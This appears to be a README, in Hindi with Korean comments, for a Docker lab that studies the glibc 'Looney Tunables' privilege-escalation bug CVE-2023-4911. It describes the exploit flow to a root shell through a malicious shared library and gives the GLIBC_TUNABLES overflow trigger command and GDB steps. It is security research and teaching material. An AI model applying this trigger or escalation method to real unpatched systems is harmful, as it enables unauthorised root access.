
glibc ld.so बफर ओवरफ्लो का विश्लेषण करने और GDB डिबगिंग के साथ स्थानीय विशेषाधिकार वृद्धि शोषण विकसित करने के लिए Docker-आधारित CVE-2023-4911 लैब।
GNU C लाइब्रेरी (glibc) के डायनेमिक लोडर में बफर ओवरफ्लो भेद्यता (स्थानीय विशेषाधिकार वृद्धि) के विश्लेषण और एक्सप्लॉइट विकास के लिए Docker-आधारित प्रयोगशाला वातावरण।
| मद | विवरण |
|---|---|
| CVE क्रमांक | CVE-2023-4911 |
| उपनाम | Looney Tunables |
| कमजोर लक्ष्य | GNU C Library (glibc) 2.34 ~ 2.38 |
| कमजोर संस्करण | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 या उससे नीचे |
| पैच संस्करण | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| प्रकार | Buffer Overflow in ld.so |
| प्रभाव | Local Privilege Escalation (सामान्य उपयोगकर्ता → रूट) |
| खोज | Qualys Security Research Team |
glibc डायनेमिक लोडर (ld.so) प्रोग्राम निष्पादन के दौरान GLIBC_TUNABLES पर्यावरण चर को पार्स करता है।
SUID बाइनरी निष्पादन पर __libc_enable_secure = 1 सेट होता है, और ld.so उस पर्यावरण चर को अमान्य (nullify) करने वाले कोड पथ में प्रवेश करता है।
इस प्रक्रिया में, tunable1=tunable2=value प्रारूप के इनपुट के लिए गलत लंबाई गणना के कारण बफर ओवरफ्लो होता है।
सामान्य बाइनरी: __libc_enable_secure = 0 → nullify कोड में प्रवेश नहीं → कोई भेद्यता नहीं
SUID बाइनरी: __libc_enable_secure = 1 → nullify कोड में प्रवेश → बफर ओवरफ्लो होता है
एक्सप्लॉइट प्रवाह:
GLIBC_TUNABLES ओवरफ्लो
↓
ld.so BSS क्षेत्र में link_map पॉइंटर को अधिलेखित करना
↓
लाइब्रेरी खोज पथ को evil_lib/ पथ में बदलना
↓
evil.so लोड करना → कंस्ट्रक्टर स्वचालित रूप से चलना
↓
setuid(0) + execve("/bin/bash") → रूट शेल प्राप्त करना
यह वातावरण केवल PoC निष्पादन से परे, भेद्यता के कार्य सिद्धांत का सीधे विश्लेषण करने और एक्सप्लॉइट विकसित करने की प्रक्रिया को लक्ष्य करके डिज़ाइन किया गया है।
ld.so स्रोत कोड और निष्पादन योग्य बाइनरी का एक साथ विश्लेषण करने का वातावरण प्रदान करनाresearcher) → रूट विशेषाधिकार वृद्धि परिदृश्य का सीधे अभ्यासCVE-2023-4911/
├── Dockerfile # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh # Docker 빌드/실행 관리 스크립트
├── check_environment.sh # 컨테이너 시작 시 환경 자동 검증
├── poc/
│ ├── exploit.py # 기본 PoC — crash(SIGSEGV) 확인용
│ ├── exploit_lpe.py # LPE 익스플로잇 — GDB 분석 후 완성
│ └── evil_lib/
│ ├── evil.c # root shell 실행하는 악성 공유 라이브러리
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID 테스트 바이너리 소스
└── test_heap.c # 힙 할당 테스트 바이너리 소스
./run.sh build && ./run.sh run
कंटेनर प्रारंभ होने पर sudo पासवर्ड मांगा जाता है।
비밀번호: password
# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only
# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid
# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid
# 로컬 호스트
gdb
(gdb) target remote localhost:1234
GDB के साथ OVERFLOW_OFFSET और TARGET_ADDR का विश्लेषण करने के बाद exploit_lpe.py के शीर्ष पर मान अपडेट करें और चलाएं।
python3 /workspace/poc/exploit_lpe.py
# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c
# 주요 함수
__tunables_init() # 진입점
parse_tunables() # 오버플로우 발생 지점
tunables_strdup() # 버퍼 할당
# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
यह वातावरण केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए उपयोग करें।
--privileged मोड में चलता है, इसलिए केवल पृथक वातावरण में उपयोग करें।| आदेश | विवरण |
|---|
./run.sh build | Docker इमेज बनाना |
./run.sh run | इंटरैक्टिव मोड में कंटेनर चलाना |
./run.sh analysis | विश्लेषण मोड चलाना |
./run.sh test | त्वरित भेद्यता जांच |
./run.sh clean | इमेज और कंटेनर साफ करना |
| मद | विवरण |
|---|
| आधार इमेज | ubuntu:jammy-20230916 (पैच से पहले) |
| glibc संस्करण | 2.35-0ubuntu3.3 (कमजोर) |
| ld.so संस्करण | 2.35-0ubuntu3.3 (कमजोर) |
| विश्लेषण खाता | researcher / password |
| glibc स्रोत | /workspace/glibc-source (2.35) |
| मुख्य पोर्ट | 1234 (gdbserver) |
| कंटेनर विकल्प | --privileged, --pid=host |